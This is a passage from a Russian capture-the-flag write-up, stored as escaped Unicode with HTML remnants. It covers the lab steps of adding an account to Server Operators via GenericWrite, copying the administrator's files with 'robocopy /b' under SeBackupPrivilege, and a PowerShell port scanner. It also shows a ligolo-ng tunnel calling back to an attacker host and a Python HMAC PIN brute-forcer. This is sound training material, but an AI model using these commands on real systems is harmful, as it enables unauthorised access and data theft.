\u041d\u0430 \u044d\u0442\u043e\u043c \u0448\u0430\u0433\u0435 \u044f \u043f\u043e\u0442\u0435\u0440\u044f\u043b \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0438\u0437\u0443\u0447\u0430\u044f \u0432\u044b\u0432\u043e\u0434 winPeas<\/code>, Sharphound<\/code>, PowerUP<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044f \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u0435 \u0432\u0435\u043a\u0442\u043e\u0440\u0430 \u0430\u0442\u0430\u043a.<\/p>\n
\u041d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435 \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043f\u0443\u0441\u0442\u044b\u0435\u2026<\/p>\n
\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0433\u043b\u044f\u043d\u0443\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0435\u0441\u0442\u044c \u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n
\"\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438<\/p>\n
\u041f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f web-srv<\/figcaption><\/div>\n<\/figure>\n
\u0421 \u0442\u0430\u043a\u0438\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043e\u0441\u043e\u0431\u043e \u043d\u0435 \u0440\u0430\u0437\u0433\u043e\u043d\u0438\u0448\u044c\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443 \u0434\u0430\u043b\u0435\u0435.<\/p>\n
\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043b sharphound<\/code> \u0438 \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u043d\u0444\u0443 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435, bloodhound<\/code> \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0432 \u043c\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435.<\/p>\n
\"alt<\/p>\n
alt text<\/figcaption><\/div>\n<\/figure>\n
\u0418\u0437 \u0432\u044b\u0432\u043e\u0434\u0430, \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u043f\u0440\u0430\u0432\u043e GenericWrite<\/code> \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0443 Server Operators<\/code>.<\/p>\n
\u0414\u043e\u0431\u0430\u0432\u0438\u043c \u0441\u0435\u0431\u044f \u0432 \u0433\u0440\u0443\u043f\u043f\u0443 Server Operators<\/code>.<\/p>\n
Add-ADGroupMember -Identity \"Server Operators\" -Members \"web-srv\"<\/code>
<\/a><\/div><\/pre>\n
\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u043b\u043e\u0433\u0438\u043d\u0438\u043c\u0441\u044f \u0441 \u0442\u0435\u043c\u0438 \u0436\u0435 \u043a\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0435\u0449\u0435 \u0440\u0430\u0437.<\/p>\n
\"alt<\/p>\n
alt text<\/figcaption><\/div>\n<\/figure>\n
\u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0433\u0434\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0435\u0441\u0442\u044c \u043a\u0440\u0443\u0442\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 SeBackupprivilege<\/code> and SeRestoreprivilege<\/code>, \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c\u0441\u044f \u0443\u0436\u0435 \u0434\u043e NT Authority system.<\/p>\n
\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0434\u0430\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b, \u044f \u043d\u0435 \u0431\u0443\u0434\u0443 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u043f\u0440\u0430\u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043c\u043d\u0435 \u044d\u0442\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0421 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SeBackupPrivillege<\/code> \u044f \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u043e\u0433\u0443 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u043f\u043a\u0438 Administrator\/Desktop<\/code> \u0432 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n
\u042f \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 Robocopy (Robust File Copy)<\/code>.<\/p>\n
robocopy \/b C:\\Users\\Administrator\\Desktop C:\\Users\\web-srv\\Desktop \/E<\/code>
<\/a><\/div><\/pre>\n
\u0424\u043b\u0430\u0433 \/b (Backup mode), \/E \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u0430\u043f\u043e\u043a.<\/p>\n
\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0435, \u0447\u0442\u043e \u043b\u0435\u0436\u0430\u043b\u043e \u0432 \u043f\u0430\u043f\u043a\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0433\u0434\u0435 \u043d\u0430\u043c \u0431\u044b\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d, \u043b\u0435\u0436\u0438\u0442 \u043d\u0430 \u043d\u0430\u0448\u0435\u043c \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u0441\u0442\u043e\u043b\u0435 \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433.<\/p>\n\n
\u041f\u043e\u0438\u0441\u043a \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0444\u043b\u0430\u0433\u0430<\/h3>\n
\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433 \u0432\u0437\u044f\u0442, \u0430 \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0435\u0449\u0435 4, \u0442\u043e \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d, \u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u0435 \u043e\u0434\u0438\u043d \u0445\u043e\u0441\u0442, \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u0438.<\/p>\n
\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b.<\/p>\n
Ethernet adapter Ethernet:   Connection-specific DNS Suffix  . :   IPv4 Address. . . . . . . . . . . : 10.10.10.211   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.10.10.1Ethernet adapter Ethernet 2:   Connection-specific DNS Suffix  . :   IPv4 Address. . . . . . . . . . . : 10.10.20.5   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.10.20.1<\/code>
<\/a><\/div><\/pre>\n
\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0430\u0434\u0430\u043f\u0442\u0435\u0440 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u044c\u044e, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0445\u043e\u0441\u0442\u044b.<\/p>\n
\u0417\u0434\u0435\u0441\u044c \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0442\u043e\u0439 \u0436\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0441\u0435\u0442\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 nmap. \u042f \u043d\u0435 \u0437\u043d\u0430\u043b, \u043f\u0440\u043e \u0444\u043b\u0430\u0433 -unprivileged<\/code> \u0438 \u0443 \u043c\u0435\u043d\u044f \u0431\u044b\u043b\u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0432\u0441\u044f \u043f\u043e\u0434\u0441\u0435\u0442\u044c \u0431\u044b\u043b\u0430 \u0432 \u0441\u0442\u0430\u0442\u0443\u0441\u0435 UP<\/code>.<\/p>\n
\u041d\u043e \u044f \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u043c\u0430\u0448\u0438\u043d\u0443 Borderlands<\/code> \u043d\u0430 THM<\/code> \u0438 \u0442\u0430\u043c \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0430\u043d\u0435\u0440\u0430 \u043d\u0430 \u043f\u0438\u0442\u043e\u043d\u0435, \u0447\u0435\u043c \u044f \u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f.<\/p>\n
\u041f\u0440\u044f\u043c\u043e \u0438\u0437 evil-winrm<\/code> \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0430\u043d.<\/p>\n
$subnet = \"10.10.20.\"$targets = 1..254 | ForEach-Object { \"$subnet$_\" } $ports = @(80) foreach($t in $targets){    foreach($p in $ports){        $tcp = New-Object System.Net.Sockets.TcpClient        $r = $tcp.BeginConnect($t,$p,$null,$null)                if($r.AsyncWaitHandle.WaitOne(200,$false) -and $tcp.Connected){            \"$t`:$p OPEN\"        }                $tcp.Close()    }}<\/code>
<\/a><\/div><\/pre>\n
\u0412\u043e\u0442 \u0442\u0430\u043a\u0438\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043f\u043e\u0434\u0441\u0435\u0442\u044c, \u0441 \u043b\u044e\u0431\u044b\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0440\u0442\u043e\u0432. \u042d\u0442\u043e\u0442 \u0441\u043a\u0430\u043d\u0435\u0440 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u0435\u0435, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f nmap \u0438\u043b\u0438 rustscan.<\/p>\n
\"\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/p>\n
\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u043a\u0430\u043d\u0430 \u043f\u043e\u0440\u0442\u043e\u0432<\/figcaption><\/div>\n<\/figure>\n
\u0425\u043e\u0441\u0442, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d. \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f, \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u0430.<\/p>\n
\u041f\u0438\u0432\u043e\u0442\u0438\u043d\u0433 \u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h4>\n
\u0427\u0442\u043e\u0431\u044b \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0435\u0442\u044c\u044e, \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c ligolo-ng.<\/p>\n
\u0423 \u0441\u0435\u0431\u044f \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n
sudo ligolo-proxy -selfcert<\/code>
<\/a><\/div><\/pre>\n
\u041d\u0430 windows<\/code> \u043c\u0430\u0448\u0438\u043d\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442 \u043b\u0438\u0433\u043e\u043b\u043e \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u0430\u0448\u0435\u0439 \u043a\u0430\u043b\u0438.<\/p>\n
.\\ligolo-windows.exe -connect 10.20.10.3:11601 -ignore-cert<\/code>
<\/a><\/div><\/pre>\n
\"\u041f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c<\/p>\n
\u041f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c ligolo-ng \u0441\u0435\u0440\u0432\u0435\u0440<\/figcaption><\/div>\n<\/figure>\n
\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u043e\u043d\u043d\u0435\u043a\u0442, \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c autoroute, \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u044c\u0441\u044f \u0434\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043c \u0431\u044b\u043b 80 \u043f\u043e\u0440\u0442.<\/p>\n
\"\u0425\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435<\/p>\n
\u0425\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0431\u0430\u043d\u043a\u0430 \u0432\u0435\u0431<\/figcaption><\/div>\n<\/figure>\n
\u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u043b\u043e \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0441 \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c \u0438 \u043a\u0430\u043a \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043a\u043e\u0434. \u042f \u043f\u043e\u0444\u0430\u0437\u0438\u043b \u0438 \u043d\u0430\u0448\u0435\u043b \u0444\u0430\u0439\u043b status.txt<\/code>, \u043d\u043e \u043e\u043d \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0443\u0441\u0442\u043e\u0439, \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u043f\u0435\u0440\u0435\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, steghid\u2019\u043e\u043c \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0433\u043e \u043d\u0430 pin \u043d\u0435 \u0431\u044b\u043b\u043e.<\/p>\n
\u0427\u0435\u0440\u0435\u0437 \u0431\u0443\u0440\u043f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 vault-signature<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0447\u0435\u0440\u0435\u0437 hashes.com<\/a> \u0438\u043c \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f sha256<\/code>.<\/p>\n
\"\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c<\/p>\n
\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0445\u044d\u0448\u0430<\/figcaption><\/div>\n<\/figure>\n
\u041f\u043e\u0434\u0431\u043e\u0440 \u043f\u0438\u043d-\u043a\u043e\u0434\u0430 \u0438 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 python<\/h4>\n
\u0414\u0430\u043b\u0435\u0435 \u0441\u0442\u0430\u043b \u0438\u0441\u043a\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438 \u0432\u043e\u0442 \u043c\u043d\u0435 \u0433\u0443\u0433\u043b \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043a\u0430\u043f\u043d\u0443\u0442\u044c \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443 hmac<\/code> (hash based authentification code).<\/p>\n
\"\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c<\/p>\n
\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c hmac<\/figcaption><\/div>\n<\/figure>\n
\u042d\u0442\u043e \u043a\u0430\u043a \u0440\u0430\u0437, \u0442\u043e, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e.<\/p>\n
\u0414\u0430\u043b\u0435\u0435 \u043f\u0438\u0448\u0435\u043c \u043a\u043e\u0434 \u043d\u0430 python<\/code>.<\/p>\n
import hmac, hashlibtarget = \"vault-signature\"for i in range(100_000_000):    pin = f\"{i:08d}\".encode()    sig = hmac.new(pin, b\"Vault7\", hashlib.sha256).hexdigest()    if sig == target:        print(f\"PIN FOUND: {pin.decode()}\")        break<\/code>
<\/a><\/div><\/pre>\n
\u0417\u0434\u0435\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c 2 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, hashlib<\/code>, hmac<\/code>. \u0414\u0430\u043b\u0435\u0435 \u0432\u0432\u043e\u0434\u0438\u043c \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u0443\u044e sha256<\/code> \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0443. \u0418\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443 \u043d\u0430\u0441 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u0438\u0437 8 \u0446\u0438\u0444\u0440, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 100 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u0439.<\/p>\n
\u0424\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 f\"{i:08d}\"<\/code> \u0431\u0435\u0440\u0435\u0442 \u0447\u0438\u0441\u043b\u043e (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, 42) \u0438 \u0434\u043e\u0431\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u043d\u0443\u043b\u044f\u043c\u0438 \u0441\u043b\u0435\u0432\u0430 \u0434\u043e 8 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 (00000042).<\/p>\n
\u041c\u0435\u0442\u043e\u0434 .encode()<\/code> \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u044d\u0442\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u0432 \u0441\u044b\u0440\u044b\u0435 \u0431\u0430\u0439\u0442\u044b (\u0444\u043e\u0440\u043c\u0430\u0442 b»00000042″). \u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 Python \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0431\u0430\u0439\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0441 \u0442\u0435\u043a\u0441\u0442\u043e\u043c.<\/p>\n
\u0421\u0435\u0440\u0432\u0435\u0440 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b \u043a\u0443\u043a\u0443 vault-signature<\/code> \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 HMAC<\/code>.<\/p>\n
\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u0445\u044d\u0448, \u0430 \u043c\u0435\u0442\u043e\u0434 .hexdigest()<\/code> \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432 \u0442\u0443 \u0441\u0430\u043c\u0443\u044e \u0447\u0438\u0442\u0430\u0435\u043c\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0438\u0437 64 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.<\/p>\n
\u0415\u0441\u043b\u0438 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u0445\u044d\u0448 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u043a\u0443\u043a\u043e\u0439 \u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u2014 \u043c\u044b \u043d\u0430\u0448\u043b\u0438 \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 PIN. \u041f\u0435\u0440\u0435\u0431\u043e\u0440 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n
\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e, \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u0438\u043d \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043a\u0440\u043e\u0435\u0442 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435.<\/p>\n
\"\u0425\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435<\/p>\n
\u0425\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e<\/figcaption><\/div>\n<\/figure>\n
\u0417\u0434\u0435\u0441\u044c \u0436\u0435 \u0432\u044b\u0432\u0430\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0435\u0440\u0435\u043c \u0438 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u043c.<\/p>\n
\u0421\u0432\u0435\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 ftp, \u043f\u0440\u043e\u0431\u0440\u043e\u0441 \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 postgres \u0438 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u0439 \u0444\u043b\u0430\u0433<\/h3>\n
\u042d\u043a\u0432\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0439\u0434\u0435\u043d, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 3 \u0444\u043b\u0430\u0433\u0430, \u043d\u043e \u043a\u0443\u0434\u0430 \u0438\u0434\u0442\u0438? \u042f \u043f\u0440\u043e\u0448\u0435\u043b\u0441\u044f \u043f\u043e \u0441\u0442\u0430\u0440\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0430\u043a\u0443 \u043d\u0430 windows<\/code> \u0432 \u043d\u0430\u0434\u0435\u0436\u0434\u0435, \u0447\u0442\u043e \u0442\u0430\u043c \u043f\u043e\u044f\u0432\u0438\u0442\u0441\u044f, \u0447\u0442\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435, \u043d\u043e \u0442\u0430\u043c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0431\u044b\u043b\u043e.<\/p>\n
